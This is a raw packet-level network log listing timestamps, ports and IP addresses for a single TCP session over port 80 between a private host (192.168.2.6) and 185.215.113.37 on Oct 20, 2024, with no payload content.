Oct 20, 2024 21:16:16.981863976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981873989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981873989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981884956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981894970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981904984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981913090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981916904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981928110 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981939077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981945992 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981970072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981972933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.981980085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.981992006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982002020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982002020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982013941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982022047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982026100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982038021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982059002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982095003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982656002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982672930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982682943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982693911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982705116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982706070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982714891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982726097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982726097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982736111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982747078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982767105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982769012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982779980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982789993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982800007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982803106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982810974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982822895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982827902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982832909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982846022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982851028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982856989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982867002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982875109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982877016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982887983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982898951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982907057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982909918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982920885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982929945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982932091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982943058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.982963085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.982990026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983422995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983433962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983445883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983463049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983499050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983573914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983586073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983596087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983608961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983619928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983620882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983630896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983640909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983649015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983650923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983661890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983673096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983673096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983683109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983695030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983696938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983705044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983716965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983719110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983733892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983745098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983751059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983755112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983764887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983776093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983786106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983798027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983798027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983808994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983819962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983824015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983829975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983840942 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.983850956 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983875036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.983896971 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.984493017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984510899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984520912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984532118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984543085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984554052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984564066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984575033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984585047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984596014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984607935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984618902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984630108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984642029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984652996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984667063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.984893084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.985038996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985053062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985066891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985080957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985088110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.985095978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985110044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985126019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985131025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.985148907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985160112 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.985162020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985177040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985183954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.985191107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:16.985200882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:16.985241890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124108076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124142885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124155998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124197960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124208927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124219894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124291897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124298096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124346018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124346018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124362946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124375105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124386072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124399900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124412060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124413013 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124439001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124464035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124488115 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124521971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124535084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124545097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124556065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124567986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124578953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124579906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124591112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124613047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124624014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124685049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124730110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124816895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124829054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124840021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124850988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124861956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124867916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124874115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124885082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124891043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124902010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124902964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.124922991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.124938965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125128984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125149012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125160933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125173092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125184059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125195980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125196934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125209093 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125210047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125221014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125226021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125252008 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125279903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125475883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125488043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125499010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125513077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125529051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125540018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125545979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125557899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125569105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125571966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125580072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125581980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125590086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125601053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125612020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125612974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125623941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125637054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125641108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125648022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125650883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125665903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125678062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125684977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125688076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125699043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125711918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.125718117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125725985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.125756979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126216888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126228094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126238108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126249075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126260042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126270056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126274109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126285076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126296043 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126296043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126313925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126318932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126326084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126336098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126337051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126346111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126357079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126362085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126368046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126379967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126389980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126391888 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126400948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126403093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126415968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126426935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126432896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126437902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126449108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126460075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126461029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126470089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126478910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126482010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126492023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126492023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126502991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126513004 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126518965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126524925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.126601934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.126601934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127194881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127208948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127228975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127240896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127249956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127254963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127259970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127265930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127278090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127278090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127278090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127278090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127290964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127305984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127320051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127331972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127346039 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127358913 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127372980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127387047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127388000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127388000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127388000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127396107 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127403021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127418995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127432108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127444983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127446890 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127456903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127463102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127470970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127484083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.127489090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127513885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.127526999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.162822008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162857056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162873983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162888050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162904024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162919998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162930965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.162936926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.162967920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.162986994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163019896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163034916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163049936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163059950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163064003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163078070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163079023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163094044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163094997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163110971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163117886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163141966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163166046 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163196087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163209915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163234949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163254023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163461924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163477898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163491011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163505077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:17.163506985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:17.163517952 CEST	80	49711	185.215.113.37	192.168.2.6
